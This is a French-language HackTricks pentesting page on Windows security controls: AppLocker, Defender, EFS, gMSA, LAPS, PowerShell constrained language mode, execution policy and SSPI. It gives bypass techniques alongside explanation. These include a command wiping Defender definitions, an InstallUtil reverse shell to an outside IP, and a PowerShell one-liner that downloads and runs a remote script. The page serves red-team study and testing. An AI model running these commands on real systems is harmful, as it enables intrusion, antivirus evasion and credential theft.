hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md
2023-06-03 13:10:46 +00:00

21 KiB

Contrôles de sécurité Windows

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Politique AppLocker

Une liste blanche d'applications est une liste d'applications ou d'exécutables logiciels approuvés qui sont autorisés à être présents et exécutés sur un système. Le but est de protéger l'environnement contre les logiciels malveillants nocifs et les logiciels non approuvés qui ne sont pas conformes aux besoins commerciaux spécifiques d'une organisation.

AppLocker est la solution de liste blanche d'applications de Microsoft et donne aux administrateurs système le contrôle sur les applications et les fichiers que les utilisateurs peuvent exécuter. Il offre un contrôle granulaire sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.
Il est courant que les organisations bloquent cmd.exe et PowerShell.exe et l'accès en écriture à certains répertoires, mais tout cela peut être contourné.

Vérification

Vérifiez quels fichiers/extensions sont sur liste noire/liste blanche :

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Les règles AppLocker appliquées à un hôte peuvent également être lues à partir du registre local à l'emplacement HKLM\Software\Policies\Microsoft\Windows\SrpV2.

Contournement

  • Dossiers inscriptibles utiles pour contourner la politique AppLocker : Si AppLocker permet d'exécuter n'importe quoi à l'intérieur de C:\Windows\System32 ou C:\Windows, il existe des dossiers inscriptibles que vous pouvez utiliser pour contourner cela.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Les binaires "LOLBAS" couramment fiables peuvent également être utiles pour contourner AppLocker.
  • Les règles mal écrites peuvent également être contournées
    • Par exemple, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, vous pouvez créer un dossier appelé allowed n'importe où et il sera autorisé.
    • Les organisations se concentrent souvent sur le blocage de l'exécutable %System32%\WindowsPowerShell\v1.0\powershell.exe, mais oublient les autres emplacements d'exécution de PowerShell tels que %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ou PowerShell_ISE.exe.
  • L'application de la DLL est très rarement activée en raison de la charge supplémentaire qu'elle peut mettre sur un système et de la quantité de tests nécessaires pour s'assurer que rien ne se cassera. L'utilisation de DLL comme portes dérobées aidera à contourner AppLocker.
  • Vous pouvez utiliser ReflectivePick ou SharpPick pour exécuter du code Powershell dans n'importe quel processus et contourner AppLocker. Pour plus d'informations, consultez: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Stockage des informations d'identification

Security Accounts Manager (SAM)

Les informations d'identification locales sont présentes dans ce fichier, les mots de passe sont hachés.

Autorité de sécurité locale (LSA) - LSASS

Les informations d'identification (hachées) sont enregistrées dans la mémoire de ce sous-système pour des raisons de connexion unique.
LSA administre la politique de sécurité locale (politique de mot de passe, autorisations des utilisateurs...), l'authentification, les jetons d'accès...
LSA sera celui qui vérifiera les informations d'identification fournies dans le fichier SAM (pour une connexion locale) et communiquera avec le contrôleur de domaine pour authentifier un utilisateur de domaine.

Les informations d'identification sont enregistrées dans le processus LSASS : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrables.

Secrets LSA

LSA peut enregistrer sur le disque certaines informations d'identification :

  • Mot de passe du compte d'ordinateur de l'Active Directory (contrôleur de domaine inaccessible).
  • Mots de passe des comptes des services Windows
  • Mots de passe pour les tâches planifiées
  • Plus (mot de passe des applications IIS...)

NTDS.dit

C'est la base de données de l'Active Directory. Elle n'est présente que dans les contrôleurs de domaine.

Defender

Microsoft Defender est un antivirus disponible dans Windows 10 et Windows 11, ainsi que dans les versions de Windows Server. Il bloque des outils de pentesting courants tels que WinPEAS. Cependant, il existe des moyens de contourner ces protections.

Vérification

Pour vérifier l'état de Defender, vous pouvez exécuter la cmdlet PS Get-MpComputerStatus (vérifiez la valeur de RealTimeProtectionEnabled pour savoir s'il est actif) :

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Pour l'énumérer, vous pouvez également exécuter :

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

EFS (Système de fichiers chiffré)

EFS fonctionne en chiffrant un fichier avec une clé symétrique en bloc, également connue sous le nom de clé de chiffrement de fichier ou FEK. Le FEK est ensuite chiffré avec une clé publique qui est associée à l'utilisateur qui a chiffré le fichier, et ce FEK chiffré est stocké dans le flux de données alternatif $EFS du fichier chiffré. Pour déchiffrer le fichier, le pilote de composant EFS utilise la clé privée qui correspond au certificat numérique EFS (utilisé pour chiffrer le fichier) pour déchiffrer la clé symétrique qui est stockée dans le flux $EFS. À partir de ici.

Exemples de fichiers déchiffrés sans que l'utilisateur ne le demande :

  • Les fichiers et dossiers sont déchiffrés avant d'être copiés sur un volume formaté avec un autre système de fichiers, comme FAT32.
  • Les fichiers chiffrés sont copiés sur le réseau en utilisant le protocole SMB/CIFS, les fichiers sont déchiffrés avant d'être envoyés sur le réseau.

Les fichiers chiffrés en utilisant cette méthode peuvent être accessibles de manière transparente par l'utilisateur propriétaire (celui qui les a chiffrés), donc si vous pouvez devenir cet utilisateur, vous pouvez déchiffrer les fichiers (changer le mot de passe de l'utilisateur et se connecter en tant que lui ne fonctionnera pas).

Vérifier les informations EFS

Vérifiez si un utilisateur a utilisé ce service en vérifiant si ce chemin existe : C:\users\<nom d'utilisateur>\appdata\roaming\Microsoft\Protect

Vérifiez qui a accès au fichier en utilisant cipher /c <fichier>
Vous pouvez également utiliser cipher /e et cipher /d à l'intérieur d'un dossier pour chiffrer et déchiffrer tous les fichiers.

Déchiffrer les fichiers EFS

En étant le système d'autorité

Cette méthode nécessite que l'utilisateur victime soit en train d'exécuter un processus à l'intérieur de l'hôte. Si c'est le cas, en utilisant une session meterpreter, vous pouvez vous faire passer pour le jeton du processus de l'utilisateur (impersonate_token de incognito). Ou vous pouvez simplement migrer vers le processus de l'utilisateur.

Connaître le mot de passe de l'utilisateur

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Comptes de service gérés par groupe (gMSA)

Dans la plupart des infrastructures, les comptes de service sont des comptes d'utilisateur typiques avec l'option "Mot de passe jamais expiré". La gestion de ces comptes peut être un vrai désordre et c'est pourquoi Microsoft a introduit les comptes de service gérés :

  • Plus de gestion de mot de passe. Il utilise un mot de passe complexe, aléatoire et de 240 caractères et le change automatiquement lorsqu'il atteint la date d'expiration du mot de passe du domaine ou de l'ordinateur.
    • Il utilise le service de distribution de clés (KDC) de Microsoft pour créer et gérer les mots de passe pour le gMSA.
  • Il ne peut pas être verrouillé ou utilisé pour une connexion interactive.
  • Prise en charge du partage sur plusieurs hôtes.
  • Peut être utilisé pour exécuter des tâches planifiées (les comptes de service gérés ne prennent pas en charge l'exécution de tâches planifiées).
  • Gestion simplifiée des SPN - Le système changera automatiquement la valeur SPN si les détails sAMaccount de l'ordinateur changent ou si la propriété de nom DNS change.

Les comptes gMSA ont leurs mots de passe stockés dans une propriété LDAP appelée msDS-ManagedPassword qui est automatiquement réinitialisée par les DC toutes les 30 jours, sont récupérables par les administrateurs autorisés et par les serveurs sur lesquels ils sont installés. msDS-ManagedPassword est un bloc de données chiffrées appelé MSDS-MANAGEDPASSWORD_BLOB et il n'est récupérable que lorsque la connexion est sécurisée, LDAPS ou lorsque le type d'authentification est "Scellement et sécurité", par exemple.

Image from https://cube0x0.github.io/Relaying-for-gMSA/

Donc, si gMSA est utilisé, vérifiez s'il a des privilèges spéciaux et vérifiez également si vous avez les permissions pour lire le mot de passe des services.

Vous pouvez lire ce mot de passe avec GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

De plus, consultez cette page web sur la façon de réaliser une attaque de relais NTLM pour lire le mot de passe de gMSA.

LAPS

****Local Administrator Password Solution (LAPS) vous permet de gérer le mot de passe de l'administrateur local (qui est aléatoire, unique et changé régulièrement) sur les ordinateurs joints au domaine. Ces mots de passe sont stockés de manière centralisée dans Active Directory et restreints aux utilisateurs autorisés à l'aide de listes de contrôle d'accès (ACL). Si votre utilisateur dispose de suffisamment d'autorisations, vous pourrez peut-être lire les mots de passe des administrateurs locaux.

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

Mode de langage PowerShell contraint

Le ****mode de langage PowerShell contraint verrouille de nombreuses fonctionnalités nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, la limitation aux types .NET approuvés, les flux de travail basés sur XAML, les classes PowerShell, et plus encore.

Vérification

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Contournement

#Easy bypass
Powershell -version 2

Dans la version actuelle de Windows, la méthode de contournement ne fonctionnera pas, mais vous pouvez utiliser PSByPassCLM (https://github.com/padovah4ck/PSByPassCLM).

Pour le compiler, vous devrez peut-être ajouter une référence -> Parcourir -> Parcourir -> ajouter C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll et changer le projet en .Net4.5.

Contournement direct:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Shell inversé :

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Vous pouvez utiliser ReflectivePick ou SharpPick pour exécuter du code Powershell dans n'importe quel processus et contourner le mode restreint. Pour plus d'informations, consultez: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Politique d'exécution PS

Par défaut, elle est définie sur restreinte. Les principales façons de contourner cette politique sont:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

Security Support Provider Interface (SSPI)

L'API qui peut être utilisée pour authentifier les utilisateurs est appelée Security Support Provider Interface (SSPI).

Le SSPI sera chargé de trouver le protocole adéquat pour que deux machines puissent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera le protocole d'authentification qui sera utilisé. Ces protocoles d'authentification sont appelés Security Support Provider (SSP), sont situés à l'intérieur de chaque machine Windows sous forme de DLL et les deux machines doivent supporter le même pour pouvoir communiquer.

Principaux SSP

  • Kerberos : Le préféré
    • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 et NTLMv2 : Pour des raisons de compatibilité
    • %windir%\Windows\System32\msv1_0.dll
  • Digest : Serveurs Web et LDAP, mot de passe sous forme de hachage MD5
    • %windir%\Windows\System32\Wdigest.dll
  • Schannel : SSL et TLS
    • %windir%\Windows\System32\Schannel.dll
  • Negotiate : Il est utilisé pour négocier le protocole à utiliser (Kerberos ou NTLM, Kerberos étant le protocole par défaut)
    • %windir%\Windows\System32\lsasrv.dll

La négociation peut offrir plusieurs méthodes ou une seule.

UAC - Contrôle de compte d'utilisateur

User Account Control (UAC) est une fonctionnalité qui permet une invite de consentement pour les activités élevées.

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥